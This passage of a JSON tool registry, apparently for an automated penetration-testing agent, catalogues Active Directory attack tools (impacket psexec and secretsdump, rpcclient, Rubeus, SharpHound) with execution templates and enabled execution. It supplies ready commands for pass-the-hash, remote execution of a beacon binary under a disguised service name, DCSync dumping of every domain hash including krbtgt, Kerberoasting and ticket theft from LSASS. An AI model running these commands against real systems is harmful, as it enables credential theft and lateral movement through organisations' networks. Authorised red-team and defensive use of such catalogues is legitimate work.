        "description": "Kerberos-based authentication",
        "command": "impacket-psexec evilcorp.local/administrator@10.10.10.1 -k -dc-ip 10.10.10.1 -no-pass"
      },
      {
        "description": "Custom service name for stealth",
        "command": "impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 -service-name LegitSvc"
      },
      {
        "description": "Upload and execute a local binary",
        "command": "impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 -file /tmp/beacon.exe"
      }
    ],
    "execution": {
      "template": "impacket-psexec {domain}/{user}:{password}@{target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "remote"
    ],
    "global_vars": {
      "target": "ip",
      "domain": "domain",
      "user": "user"
    },
    "id": "security-ad-psexec",
    "install": [
      {
        "method": "pip",
        "package_name": "impacket",
        "commands": [
          "pip install impacket"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1021",
      "T1569"
    ],
    "name": "psexec",
    "namespace": "security:ad:psexec",
    "parameters": [
      {
        "name": "hashes",
        "type": "string",
        "required": false,
        "description": "NTLM hash (LM:NT format) for pass-the-hash",
        "aliases": [
          "--hashes"
        ],
        "flag": "--hashes"
      },
      {
        "name": "kerberos",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use Kerberos authentication",
        "aliases": [
          "-k",
          "--kerberos"
        ],
        "flag": "-k"
      },
      {
        "name": "aesKey",
        "type": "string",
        "required": false,
        "description": "AES256/128 key for Kerberos auth",
        "aliases": [
          "--aesKey"
        ],
        "flag": "--aesKey"
      },
      {
        "name": "dc-ip",
        "type": "string",
        "required": false,
        "description": "Domain controller IP for Kerberos",
        "aliases": [
          "--dc-ip"
        ],
        "flag": "--dc-ip"
      },
      {
        "name": "target-ip",
        "type": "string",
        "required": false,
        "description": "Target IP address",
        "aliases": [
          "--target-ip"
        ],
        "flag": "--target-ip"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "default_value": 445,
        "description": "SMB port number",
        "aliases": [
          "--port"
        ],
        "flag": "--port"
      },
      {
        "name": "service-name",
        "type": "string",
        "required": false,
        "default_value": "BTOBTO",
        "description": "Name of the service to create",
        "aliases": [
          "--service-name"
        ],
        "flag": "--service-name"
      },
      {
        "name": "codec",
        "type": "string",
        "required": false,
        "default_value": "utf-8",
        "description": "Output encoding codec",
        "aliases": [
          "--codec"
        ],
        "flag": "--codec"
      },
      {
        "name": "debug",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable debug output",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "no-pass",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Do not prompt for password",
        "aliases": [
          "--no-pass"
        ],
        "flag": "--no-pass"
      },
      {
        "name": "file",
        "type": "string",
        "required": false,
        "description": "Local file to execute remotely",
        "aliases": [
          "--file"
        ],
        "flag": "--file"
      },
      {
        "name": "share",
        "type": "string",
        "required": false,
        "default_value": "ADMIN$",
        "description": "SMB share for file upload",
        "aliases": [
          "--share"
        ],
        "flag": "--share"
      },
      {
        "name": "nooutput",
        "type": "boolean",
        "required": false,
        "description": "Suppress output",
        "aliases": [
          "--nooutput"
        ],
        "flag": "--nooutput"
      },
      {
        "name": "ts",
        "type": "boolean",
        "required": false,
        "description": "Include timestamps",
        "aliases": [
          "-ts"
        ],
        "flag": "-ts"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Impacket GitHub",
        "url": "https://github.com/fortra/impacket"
      }
    ],
    "related_tools": [
      "impacket",
      "evil-winrm",
      "wmiexec",
      "smbexec"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SMB"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "dsquery.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Active Directory query tool for retrieving objects from the directory.",
    "examples": [
      {
        "description": "Run dsquery with default options",
        "command": "dsquery /?"
      }
    ],
    "execution": {
      "template": "dsquery /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-dsquery",
    "mitre_ids": [],
    "name": "dsquery",
    "namespace": "security:ad:query",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "dsquery Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dsquery"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "repadmin.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Active Directory replication diagnostics and management tool.",
    "examples": [
      {
        "description": "Run repadmin with default options",
        "command": "repadmin /?"
      }
    ],
    "execution": {
      "template": "repadmin /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-repadmin",
    "mitre_ids": [],
    "name": "repadmin",
    "namespace": "security:ad:replication",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "repadmin Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repadmin"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# rpcclient — MS-RPC Client\n\nrpcclient is a command-line MS-RPC client from the Samba suite that allows direct interaction with Windows RPC services including SAMR (Security Account Manager), LSA (Local Security Authority), and SRVSVC (Server Service).\n\n## Key RPC Commands\n\n| Category | Command | Description |\n|----------|---------|-------------|\n| Users | `enumdomusers` | List all domain users |\n| Users | `queryuser <rid>` | Get detailed user info |\n| Users | `queryuser <rid> --sid` | Get user SID |\n| Groups | `enumdomgroups` | List all domain groups |\n| Groups | `querygroup <rid>` | Get group members |\n| Domain | `lsaquery` | Get domain info |\n| Domain | `getdompwinfo` | Get password policy |\n| Shares | `netshareenumall` | List all shares |\n| Shares | `netsharegetinfo <share>` | Get share details |\n| SID | `lookupsids <sid>` | Resolve SID to name |\n| SID | `lookupnames <name>` | Resolve name to SID |\n\n## Authentication Methods\n\n- **Null session**: `rpcclient -U \"\" -N <target>`\n- **Guest session**: `rpcclient -U guest%\"\" <target>`\n- **Authenticated**: `rpcclient -U user%pass <target>`\n- **Kerberos**: `rpcclient -k -U user@DOMAIN <target>`\n",
    "_source": "security-ad-rpcclient.md",
    "allowed-tools": [
      "rpcclient"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.enum.users",
      "security.ad.enum.groups",
      "security.ad.enum.domain",
      "security.ad.enum.privileges",
      "security.ad.rpc.samr",
      "security.ad.rpc.lsarpc",
      "security.ad.rpc.srvsvc"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP or hostname"
        },
        {
          "type": "credential.username",
          "description": "Username for RPC authentication"
        },
        {
          "type": "credential.password",
          "description": "Password for RPC authentication"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.enum.users",
          "description": "List of domain/local users with RIDs"
        },
        {
          "type": "security.ad.enum.groups",
          "description": "Group membership information"
        },
        {
          "type": "security.ad.enum.domain",
          "description": "Domain and trust information"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Samba RPC client for executing MS-RPC functions against Windows systems for user, group, domain, and privilege enumeration.",
    "examples": [
      {
        "description": "Null session connection to a domain controller",
        "command": "rpcclient -U \"\" -N 10.10.10.1"
      },
      {
        "description": "Enumerate domain users via SAMR",
        "command": "rpcclient -U jdoe 10.10.10.1 -c \"enumdomusers\""
      },
      {
        "description": "Enumerate domain groups",
        "command": "rpcclient -U jdoe 10.10.10.1 -c \"enumdomgroups\""
      },
      {
        "description": "Get user information by RID",
        "command": "rpcclient -U jdoe 10.10.10.1 -c \"queryuser 500\""
      },
      {
        "description": "Enumerate SID for a domain user",
        "command": "rpcclient -U jdoe 10.10.10.1 -c \"lookupsids S-1-5-21-...\""
      },
      {
        "description": "List shares via SRVSVC",
        "command": "rpcclient -U jdoe 10.10.10.1 -c \"netshareenumall\""
      },
      {
        "description": "Get domain password policy",
        "command": "rpcclient -U jdoe 10.10.10.1 -c \"getdompwinfo\""
      }
    ],
    "execution": {
      "template": "rpcclient -U {username} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {
      "target": "ip",
      "username": "user"
    },
    "id": "security-ad-rpcclient",
    "install": [
      {
        "method": "apt",
        "package_name": "samba-common-bin",
        "commands": [
          "apt-get install -y samba-common-bin"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "name": "rpcclient",
    "namespace": "security:ad:rpcclient",
    "parameters": [
      {
        "name": "username",
        "type": "string",
        "required": false,
        "description": "Username for RPC authentication",
        "aliases": [
          "-U",
          "--user",
          "--username"
        ],
        "flag": "-U"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Password for RPC authentication",
        "aliases": [
          "-P",
          "--password"
        ],
        "flag": "-P"
      },
      {
        "name": "no-pass",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Null session (no password)",
        "aliases": [
          "-N",
          "--no-pass"
        ],
        "flag": "-N"
      },
      {
        "name": "workgroup",
        "type": "string",
        "required": false,
        "default_value": "WORKGROUP",
        "description": "Workgroup or domain name",
        "aliases": [
          "-W",
          "--workgroup"
        ],
        "flag": "-W"
      },
      {
        "name": "ip",
        "type": "string",
        "required": false,
        "description": "Target IP address",
        "aliases": [
          "-I",
          "--ip"
        ],
        "flag": "-I"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "default_value": 445,
        "description": "SMB/RPC port number",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "debug",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Debug level (0-10)",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "command",
        "type": "string",
        "required": false,
        "description": "Execute RPC command non-interactively",
        "aliases": [
          "-c",
          "--command"
        ],
        "flag": "-c"
      },
      {
        "name": "auth-file",
        "type": "file",
        "required": false,
        "description": "File containing credentials",
        "aliases": [
          "-A",
          "--auth-file"
        ],
        "flag": "-A"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 30,
        "description": "Connection timeout in seconds",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "kerberos",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use Kerberos authentication",
        "aliases": [
          "-k",
          "--kerberos"
        ],
        "flag": "-k"
      },
      {
        "name": "encrypt",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Require SMB encryption",
        "aliases": [
          "-e",
          "--encrypt"
        ],
        "flag": "-e"
      },
      {
        "name": "auth_file",
        "type": "boolean",
        "required": false,
        "description": "Credentials file",
        "aliases": [
          "--auth-file"
        ],
        "flag": "--auth-file"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Config file path",
        "aliases": [
          "-s",
          "--config"
        ],
        "flag": "-s"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Samba rpcclient man page",
        "url": "https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html"
      }
    ],
    "related_tools": [
      "impacket",
      "enum4linux-ng",
      "smbclient"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SMB",
      "Kerberos"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# Rubeus — Kerberos Abuse Toolkit\n\nRubeus is a C# toolset for raw Kerberos interaction and abuse, designed for offensive security operations. It provides capabilities for Kerberoasting, AS-REP roasting, pass-the-ticket, pass-the-key, S4U attacks, and ticket manipulation.\n\n## Common Attacks\n\n| Command | Attack |\n|---------|--------|\n| `kerberoast` | Extract SPN service account hashes |\n| `asreproast` | Find users without pre-authentication |\n| `dump` | Extract tickets from LSASS |\n| `asktgt` | Request TGT with specific options |\n| `s4u` | S4U2Self/S4U2Proxy delegation attacks |\n| `renew` | Renew existing tickets |\n| `describe` | Decode and inspect ticket contents |\n\n## Usage\n\n```batch\n:: Kerberoasting\nRubeus.exe kerberoast /domain:example.local /outfile:kerb-hashes.txt\n\n:: AS-REP roasting\nRubeus.exe asreproast /format:hashcat /outfile:asrep-hashes.txt\n\n:: Dump tickets\nRubeus.exe dump /luid:0x123456\n\n:: Pass the ticket (ask TGT)\nRubeus.exe asktgt /user:admin /domain:example.local /aes256:<AES256_HASH> /ptt\n```\n",
    "_source": "rubeus.md",
    "allowed-tools": [
      "rubeus",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [
      {
        "type": "security.credential.hash.kerberos",
        "description": "Kerberos ticket hash data",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "credential.data",
        "description": "Extracted credential material",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.kerberos.bruteforce",
      "security.ad.kerberos.asreproast",
      "security.ad.kerberos.kerberoast",
      "security.ad.kerberos.passkey",
      "security.ad.kerberos.delegation",
      "security.credential.kerberostickets"
    ],
    "contract": {
      "inputs": [
        {
          "type": "domain.name",
          "description": "Target domain FQDN"
        },
        {
          "type": "credential.username",
          "description": "Target username or user list file"
        },
        {
          "type": "credential.password",
          "description": "Password or NTLM hash for authentication"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.hash.kerberos",
          "description": "Crackable Kerberos hashes",
          "mime": "text/plain"
        },
        {
          "type": "credential.data",
          "description": "Extracted Kerberos tickets and credentials",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Kerberos abuse toolkit for Windows for performing AS-REP roasting, Kerberoasting, pass-the-ticket, S4U attacks, and Kerberos ticket manipulation.",
    "examples": [
      {
        "description": "Kerberoasting SPNs",
        "command": "Rubeus.exe kerberoast /domain:example.com /outfile:hashes.txt"
      },
      {
        "description": "AS-REP roasting users without pre-authentication",
        "command": "Rubeus.exe asreproast /domain:example.com /format:hashcat /outfile:asrep.txt"
      },
      {
        "description": "Dump Kerberos tickets from current session",
        "command": "Rubeus.exe dump /service:krbtgt"
      },
      {
        "description": "Pass-the-ticket",
        "command": "Rubeus.exe asktgt /user:admin /domain:example.com /ticket:<BASE64>"
      },
      {
        "description": "S4U2Self attack",
        "command": "Rubeus.exe s4u /user:svc_account /impersonateuser:admin /domain:example.com"
      }
    ],
    "execution": {
      "template": "Rubeus.exe {command} {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "id": "security-ad-rubeus",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/GhostPack/Rubeus.git",
        "commands": [
          "git clone https://github.com/GhostPack/Rubeus.git"
        ]
      }
    ],
    "items": [
      "TGS",
      "TGT",
      "Password"
    ],
    "name": "rubeus",
    "namespace": "security:ad:rubeus",
    "parameters": [
      {
        "name": "command",
        "type": "string",
        "required": true,
        "description": "Rubeus command (kerberoast, asreproast, dump, etc.)"
      },
      {
        "name": "flag-domain",
        "type": "string",
        "required": false,
        "description": "Target domain",
        "aliases": [
          "/domain"
        ],
        "flag": "/domain"
      },
      {
        "name": "flag-username",
        "type": "string",
        "required": false,
        "description": "Username for authentication",
        "aliases": [
          "/username"
        ],
        "flag": "/username"
      },
      {
        "name": "flag-password",
        "type": "string",
        "required": false,
        "description": "Password for authentication",
        "aliases": [
          "/password"
        ],
        "flag": "/password"
      },
      {
        "name": "flag-format",
        "type": "string",
        "required": false,
        "description": "Output format (hashcat, john)",
        "aliases": [
          "/format"
        ],
        "flag": "/format"
      },
      {
        "name": "flag-outfile",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "/outfile"
        ],
        "flag": "/outfile"
      },
      {
        "name": "flag-ticket",
        "type": "string",
        "required": false,
        "description": "Base64-encoded Kerberos ticket",
        "aliases": [
          "/ticket"
        ],
        "flag": "/ticket"
      },
      {
        "name": "flag-ptt",
        "type": "boolean",
        "required": false,
        "description": "Pass-the-ticket",
        "alises": [
          "/ptt"
        ]
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Rubeus GitHub",
        "url": "https://github.com/GhostPack/Rubeus"
      },
      {
        "label": "Kerberos Attacks Explained",
        "url": "https://posts.specterops.io/kerberos-attacks-part-1-kerberoasting-60b1edc051c4"
      }
    ],
    "related_tools": [
      "impacket",
      "mimikatz",
      "certipy",
      "kerbrute"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "Kerberos"
    ],
    "techniques": [
      "credential-access",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "kerberos-tickets",
        "hash-data",
        "extracted-credentials"
      ],
      "consumes": [
        "target-domain",
        "credential-data"
      ]
    }
  },
  {
    "_body": "\n# secretsdump — Windows Credential Dumper\n\nsecretsdump is the credential dumping powerhouse from the Impacket suite, supporting multiple extraction techniques against Windows systems.\n\n## Extraction Methods\n\n| Method | Command | Description |\n|--------|---------|-------------|\n| **DCSync** | `-just-dc` | Domain replication, no file access needed |\n| **SAM** | `-sam SAM.hive -system SYSTEM.hive` | Local account hashes |\n| **LSA** | `-security SECURITY.hive -system SYSTEM.hive` | LSA secrets |\n| **NTDS** | `-ntds ntds.dit -system SYSTEM.hive` | Offline NTDS parsing |\n| **VSS** | `-use-vss` | Volume Shadow Copy for remote NTDS |\n\n## DCSync Requirements\n\n- Domain Admin privileges (or equivalent rights like Replicating Directory Changes)\n- Network access to the domain controller (port 445)\n- Target domain controller running Windows\n",
    "_source": "security-ad-secretsdump.md",
    "allowed-tools": [
      "secretsdump"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.credential.dump.ntds",
      "security.credential.dump.sam",
      "security.credential.dump.lsa",
      "security.credential.dump.kerberos",
      "security.credential.extract.hash"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Domain controller or target IP"
        },
        {
          "type": "credential.username",
          "description": "Domain username"
        },
        {
          "type": "credential.password",
          "description": "Plaintext password or NTLM hash"
        },
        {
          "type": "file.ntds",
          "description": "Local NTDS.dit file (for offline mode)"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.hash.ntlm",
          "description": "Extracted NTLM password hashes"
        },
        {
          "type": "security.credential.hash.kerberos",
          "description": "Extracted Kerberos keys"
        },
        {
          "type": "security.credential.plaintext",
          "description": "Plaintext credentials from LSA"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3",
      "impacket"
    ],
    "description": "Impacket secretsdump tool that extracts NTLM hashes, Kerberos keys, and credential material from Windows systems via NTDS.dit, SAM, and LSA techniques.",
    "examples": [
      {
        "description": "Remote DCSync — dump all domain hashes from DC",
        "command": "impacket-secretsdump -just-dc-ntlm evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "DCSync with NTLM hash authentication",
        "command": "impacket-secretsdump -just-dc-ntlm evilcorp.local/administrator@10.10.10.1 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
      },
      {
        "description": "Dump specific user hash",
        "command": "impacket-secretsdump -just-dc-user krbtgt evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "Offline NTDS.dit parsing with SYSTEM hive",
        "command": "impacket-secretsdump -ntds ntds.dit -system SYSTEM.hive LOCAL"
      },
      {
        "description": "Local SAM dump with SYSTEM hive",
        "command": "impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL"
      },
      {
        "description": "Full NTDS dump with history and timestamps",
        "command": "impacket-secretsdump -just-dc -history -pwd-last-set -user-status evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "LSA secrets dump from SECURITY hive",
        "command": "impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL"
      },
      {
        "description": "Use VSS to copy NTDS.dit remotely",
        "command": "impacket-secretsdump -just-dc -use-vss evilcorp.local/administrator:Pass123@10.10.10.1"
      }
    ],
    "execution": {
      "template": "impacket-secretsdump -just-dc {domain}/{user}:{password}@{target}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {
      "target": "ip",
      "domain": "domain",
      "user": "user"
    },
    "id": "security-ad-secretsdump",
    "install": [
      {
        "method": "pip",
        "package_name": "impacket",
        "commands": [
          "pip install impacket"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "name": "secretsdump",
    "namespace": "security:ad:secretsdump",
    "parameters": [
      {
        "name": "just-dc",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Extract only NTDS.dit data (NTLM + Kerberos)",
        "aliases": [
          "--just-dc"
        ],
        "flag": "--just-dc"
      },
      {
        "name": "just-dc-user",
        "type": "string",
        "required": false,
        "description": "Extract data for a specific user from NTDS",
        "aliases": [
          "--just-dc-user"
        ],
        "flag": "--just-dc-user"
      },
      {
        "name": "just-dc-ntlm",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Extract only NTLM hashes from NTDS",
        "aliases": [
          "--just-dc-ntlm"
        ],
        "flag": "--just-dc-ntlm"
      },
      {
        "name": "history",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Include password history",
        "aliases": [
          "--history"
        ],
        "flag": "--history"
      },
      {
        "name": "pwd-last-set",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show password last set timestamps",
        "aliases": [
          "--pwd-last-set"
        ],
        "flag": "--pwd-last-set"
      },
      {
        "name": "user-status",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show user account status (disabled/locked)",
        "aliases": [
          "--user-status"
        ],
        "flag": "--user-status"
      },
      {
        "name": "use-vss",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use Volume Shadow Copy for NTDS access",
        "aliases": [
          "--use-vss"
        ],
        "flag": "--use-vss"
      },
      {
        "name": "sam",
        "type": "string",
        "required": false,
        "description": "Local SAM hive file for offline dump",
        "aliases": [
          "-sam",
          "--sam"
        ],
        "flag": "-sam"
      },
      {
        "name": "system",
        "type": "string",
        "required": false,
        "description": "SYSTEM hive file for boot key",
        "aliases": [
          "-system",
          "--system"
        ],
        "flag": "-system"
      },
      {
        "name": "security",
        "type": "string",
        "required": false,
        "description": "SECURITY hive file for LSA secrets",
        "aliases": [
          "-security",
          "--security"
        ],
        "flag": "-security"
      },
      {
        "name": "ntds",
        "type": "string",
        "required": false,
        "description": "NTDS.dit file for offline parsing",
        "aliases": [
          "-ntds",
          "--ntds"
        ],
        "flag": "-ntds"
      },
      {
        "name": "outputfile",
        "type": "string",
        "required": false,
        "description": "Write output to file",
        "aliases": [
          "--outputfile"
        ],
        "flag": "--outputfile"
      },
      {
        "name": "dc-ip",
        "type": "string",
        "required": false,
        "description": "IP address of domain controller",
        "aliases": [
          "--dc-ip"
        ],
        "flag": "--dc-ip"
      },
      {
        "name": "debug",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable debug output",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "ts",
        "type": "boolean",
        "required": false,
        "description": "Include timestamps in output",
        "aliases": [
          "-ts"
        ],
        "flag": "-ts"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Impacket GitHub",
        "url": "https://github.com/fortra/impacket"
      }
    ],
    "related_tools": [
      "impacket",
      "mimikatz",
      "certipy"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "Kerberos",
      "SMB",
      "LDAP"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# SharpHound — BloodHound AD Data Collector\n\nSharpHound is the official C# data collector for BloodHound that enumerates Active Directory environments, collecting information about users, groups, computers, sessions, ACLs, and trust relationships for attack path analysis.\n\n## Collection Methods\n\n| Method | Data Collected |\n|--------|---------------|\n| Default | Groups, sessions, local groups |\n| Group | Group membership only (fast) |\n| LocalGroup | Local admin rights enumeration |\n| RDP | Remote Desktop users |\n| DCOnly | Domain controller queries only |\n| All | Everything (slowest, most complete) |\n\n## Usage\n\n```powershell\n# Transfer SharpHound.exe to target\n# Run collection\nSharpHound.exe -c All -d domain.local\n\n# Transfer resulting ZIP to BloodHound\n# Import ZIP file in BloodHound GUI\n```\n",
    "_source": "sharphound.md",
    "allowed-tools": [
      "sharphound",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [
      {
        "type": "security.ad.graph",
        "description": "BloodHound JSON data files",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Collection"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.enum.domain",
      "security.ad.enum.users",
      "security.ad.enum.groups",
      "security.ad.enum.computers",
      "security.ad.enum.sessions",
      "security.ad.enum.acl",
      "security.ad.graph"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Domain controller IP address"
        },
        {
          "type": "credential.username",
          "description": "Domain username"
        },
        {
          "type": "credential.password",
          "description": "Password or NTLM hash"
        },
        {
          "type": "domain.name",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.graph",
          "description": "Collected AD relationship data as JSON",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 256,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "BloodHound data collector written in C# that enumerates Active Directory relationships, ACLs, group memberships, and session information for attack path analysis.",
    "examples": [
      {
        "description": "Run all collection methods",
        "command": "SharpHound.exe -c All -d example.com"
      },
      {
        "description": "Run with credentials",
        "command": "SharpHound.exe -c All -d example.com -u USER -p PASS"
      },
      {
        "description": "Stealth collection",
        "command": "SharpHound.exe -c Default,Group -d example.com --Stealth"
      },
      {
        "description": "Collect only from domain controller",
        "command": "SharpHound.exe -c DCOnly -d example.com"
      }
    ],
    "execution": {
      "template": "SharpHound.exe {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "id": "security-ad-sharphound",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/BloodHoundAD/SharpHound.git",
        "commands": [
          "git clone https://github.com/BloodHoundAD/SharpHound.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "sharphound",
    "namespace": "security:ad:sharphound",
    "parameters": [
      {
        "name": "CollectionMethod",
        "type": "string",
        "required": false,
        "description": "Data collection method (Default, Group, LocalGroup, RDP, DCOnly, All)",
        "aliases": [
          "-c",
          "--CollectionMethod"
        ],
        "flag": "-c"
      },
      {
        "name": "Domain",
        "type": "string",
        "required": false,
        "description": "Target domain",
        "aliases": [
          "-d",
          "--Domain"
        ],
        "flag": "-d"
      },
      {
        "name": "LdapUsername",
        "type": "string",
        "required": false,
        "description": "LDAP bind username",
        "aliases": [
          "-u",
          "--Username"
        ],
        "flag": "-u"
      },
      {
        "name": "LdapPassword",
        "type": "string",
        "required": false,
        "description": "LDAP bind password",
        "aliases": [
          "-p",
          "--Password"
        ],
        "flag": "-p"
      },
      {
        "name": "SearchBase",
        "type": "string",
        "required": false,
        "description": "LDAP search base DN",
        "aliases": [
          "-sb",
          "--SearchBase"
        ],
        "flag": "-sb"
      },
      {
        "name": "Stealth",
        "type": "boolean",
        "required": false,
        "description": "Use stealth collection mode",
        "aliases": [
          "-s",
          "--Stealth"
        ],
        "flag": "-s"
      },
      {
        "name": "ZipFilename",
        "type": "string",
        "required": false,
        "description": "Output zip file name",
        "aliases": [
          "-z",
          "--ZipFilename"
        ],
        "flag": "-z"
      },
      {
        "name": "flag-json",
        "type": "boolean",
        "required": false,
        "description": "Output as JSON (not zip)",
        "aliases": [
          "-j",
